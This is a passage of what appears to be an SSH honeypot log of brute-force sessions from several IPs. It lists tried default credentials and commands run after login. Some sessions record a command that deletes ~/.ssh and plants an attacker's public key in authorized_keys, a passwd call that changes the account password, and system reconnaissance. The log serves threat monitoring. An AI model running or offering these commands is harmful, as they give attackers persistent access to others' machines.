    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

45.156.87.204

2026-07-08 13:40:07.805948 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: grid

Record ID: b32f10f7a88b

Client Version: SSH-2.0-Go

Engagement Duration: 2.1s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "b32f10f7a88b",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:40:07.805948Z",
  "end_time": "2026-07-08T13:40:09.886263Z",
  "duration": "2.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "grid",
      "pass": "grid"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

45.156.87.204

2026-07-08 13:40:03.826484 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: appuser

Record ID: 2c7d024f010b

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "2c7d024f010b",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:40:03.826484Z",
  "end_time": "2026-07-08T13:40:05.784258Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "appuser",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

45.156.87.204

2026-07-08 13:39:59.644203 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ts3

Record ID: 4de6e17f3098

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "4de6e17f3098",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:39:59.644203Z",
  "end_time": "2026-07-08T13:40:01.548743Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "ts3",
      "pass": "ts3"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

45.156.87.204

2026-07-08 13:39:55.620688 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: bob

Record ID: 8a8e73fe4636

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "8a8e73fe4636",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:39:55.620688Z",
  "end_time": "2026-07-08T13:39:57.399294Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "bob",
      "pass": "root"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

45.156.87.204

2026-07-08 13:39:51.516488 UTC

RECONNAISSANCE SUCCESSFUL LOGIN COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: root / 1Q2w3e4r

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 82879876575a

Client Version: SSH-2.0-Go

Engagement Duration: 1.5s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "82879876575a",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:39:51.516488Z",
  "end_time": "2026-07-08T13:39:53.056396Z",
  "duration": "1.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "1Q2w3e4r"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

45.156.87.204

2026-07-08 13:39:47.669789 UTC

RECONNAISSANCE SUCCESSFUL LOGIN COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: minecraft / 1

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 25b8f1a6ddac

Client Version: SSH-2.0-Go

Engagement Duration: 1.6s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "25b8f1a6ddac",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:39:47.669789Z",
  "end_time": "2026-07-08T13:39:49.288087Z",
  "duration": "1.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "minecraft",
    "pass": "1"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

45.156.87.204

2026-07-08 13:39:43.471153 UTC

RECONNAISSANCE SUCCESSFUL LOGIN COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: ubuntu / admin@123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 4b4fbd103d05

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "4b4fbd103d05",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:39:43.471153Z",
  "end_time": "2026-07-08T13:39:44.792531Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "admin@123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

45.156.87.204

2026-07-08 13:39:39.491827 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: kali

Record ID: 0cec21ab67aa

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "0cec21ab67aa",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:39:39.491827Z",
  "end_time": "2026-07-08T13:39:41.429212Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "kali",
      "pass": "kali"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

45.156.87.204

2026-07-08 13:39:35.387527 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: kafka

Record ID: 7dd95ca693e7

Client Version: SSH-2.0-Go

Engagement Duration: 2.1s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "7dd95ca693e7",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:39:35.387527Z",
  "end_time": "2026-07-08T13:39:37.495188Z",
  "duration": "2.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "kafka",
      "pass": "kafka"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

45.156.87.204

2026-07-08 13:39:31.169446 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ansible

Record ID: 6bb901109c37

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "6bb901109c37",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:39:31.169446Z",
  "end_time": "2026-07-08T13:39:33.094673Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "ansible",
      "pass": "ansible"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

118.145.213.116

2026-07-08 13:39:29.697234 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 2ed944a996ff

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.8s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "2ed944a996ff",
  "src_ip": "118.145.213.116",
  "start_time": "2026-07-08T13:39:29.697234Z",
  "end_time": "2026-07-08T13:39:31.488569Z",
  "duration": "1.8",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

45.156.87.204

2026-07-08 13:39:27.078122 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: nutanix

Record ID: 8750b61c12c5

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "8750b61c12c5",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:39:27.078122Z",
  "end_time": "2026-07-08T13:39:29.086779Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "nutanix",
      "pass": "nutanix/4u"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

2.229.200.226

2026-07-08 13:39:26.337465 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: d0adbebbc34b

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "d0adbebbc34b",
  "src_ip": "2.229.200.226",
  "start_time": "2026-07-08T13:39:26.337465Z",
  "end_time": "2026-07-08T13:39:28.378060Z",
  "duration": "2.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

118.145.213.116

2026-07-08 13:39:25.818471 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 27f907114186

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 3.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "27f907114186",
  "src_ip": "118.145.213.116",
  "start_time": "2026-07-08T13:39:25.818471Z",
  "end_time": "2026-07-08T13:39:29.408436Z",
  "duration": "3.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

2.229.200.226

2026-07-08 13:39:24.319069 UTC

RECONNAISSANCE SUCCESSFUL LOGIN COMMANDS RUN SCORE: 340

Credential acceptance event recorded. Target authentication: git / gitgitgit

Remote entity achieved interactive shell state. Command sequence (20 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

[obs-node]:~$ cat /proc/cpuinfo | grep name | wc -l

[obs-node]:~$ echo -e "gitgitgit\nxXgQxQMikpv7\nxXgQxQMikpv7"|passwd|bash

[obs-node]:~$ Enter new UNIX password:

Command not found: Enter new UNIX password:

[obs-node]:~$ echo "gitgitgit\nxXgQxQMikpv7\nxXgQxQMikpv7\n"|passwd

[obs-node]:~$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

[obs-node]:~$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

[obs-node]:~$ ls -lh $(which ls)

[obs-node]:~$ which ls

[obs-node]:~$ crontab -l

[obs-node]:~$ w

[obs-node]:~$ uname -m

[obs-node]:~$ cat /proc/cpuinfo | grep model | grep name | wc -l

[obs-node]:~$ top

[obs-node]:~$ uname

[obs-node]:~$ uname -a

[obs-node]:~$ whoami

[obs-node]:~$ lscpu | grep Model

[obs-node]:~$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

Record ID: 0704d2aa23b0

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 20.7s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "0704d2aa23b0",
  "src_ip": "2.229.200.226",
  "start_time": "2026-07-08T13:39:24.319069Z",
  "end_time": "2026-07-08T13:39:45.002946Z",
  "duration": "20.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "git",
    "pass": "gitgitgit"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
    "cat /proc/cpuinfo | grep name | wc -l",
    "echo -e \"gitgitgit\\nxXgQxQMikpv7\\nxXgQxQMikpv7\"|passwd|bash",
    "Enter new UNIX password: ",
    "echo \"gitgitgit\\nxXgQxQMikpv7\\nxXgQxQMikpv7\\n\"|passwd",
    "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
    "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
    "ls -lh $(which ls)",
    "which ls",
    "crontab -l",
    "w",
    "uname -m",
    "cat /proc/cpuinfo | grep model | grep name | wc -l",
    "top",
    "uname",
    "uname -a",
    "whoami",
    "lscpu | grep Model",
    "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "echo -e \"gitgitgit\\nxXgQxQMikpv7\\nxXgQxQMikpv7\"|passwd|bash",
      "failed": false,
      "error": null
    },
    {
      "cmd": "Enter new UNIX password: ",
      "failed": true,
      "error": "Command not found: Enter new UNIX password:"
    },
    {
      "cmd": "echo \"gitgitgit\\nxXgQxQMikpv7\\nxXgQxQMikpv7\\n\"|passwd",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ls -lh $(which ls)",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which ls",
      "failed": false,
      "error": null
    },
    {
      "cmd": "crontab -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "w",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -m",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "top",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    },
    {
      "cmd": "whoami",
      "failed": false,
      "error": null
    },
    {
      "cmd": "lscpu | grep Model",
      "failed": false,
      "error": null
    },
    {
      "cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh",
    "Enter new UNIX password:"
  ],
  "score": 340,
  "tags": [
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

45.156.87.204

2026-07-08 13:39:23.117976 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: student

Record ID: 2bbfae645db0

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "2bbfae645db0",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:39:23.117976Z",
  "end_time": "2026-07-08T13:39:25.142798Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "student",
      "pass": "student"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

118.145.213.116

2026-07-08 13:39:22.075937 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Sw@123456

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 5390ef34aa63

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 9.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "5390ef34aa63",
  "src_ip": "118.145.213.116",
  "start_time": "2026-07-08T13:39:22.075937Z",
  "end_time": "2026-07-08T13:39:31.484221Z",
  "duration": "9.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Sw@123456"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

45.156.87.204

2026-07-08 13:39:18.870167 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: pi

Record ID: 4f00f1f56115

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "4f00f1f56115",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:39:18.870167Z",
  "end_time": "2026-07-08T13:39:20.906214Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "pi",
      "pass": "raspberry"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

154.209.4.236

2026-07-08 13:39:16.927541 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: dmdba

Record ID: 2ce77d5f6a5d

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "2ce77d5f6a5d",
  "src_ip": "154.209.4.236",
  "start_time": "2026-07-08T13:39:16.927541Z",
  "end_time": "2026-07-08T13:39:19.145802Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "dmdba",
      "pass": "123123123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

45.156.87.204

2026-07-08 13:39:14.747224 UTC

RECONNAISSANCE SUCCESSFUL LOGIN COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: hadoop / hadoop123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: e3dae051694b

Client Version: SSH-2.0-Go

Engagement Duration: 1.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "e3dae051694b",
  "src_ip": "45.156.87.204",
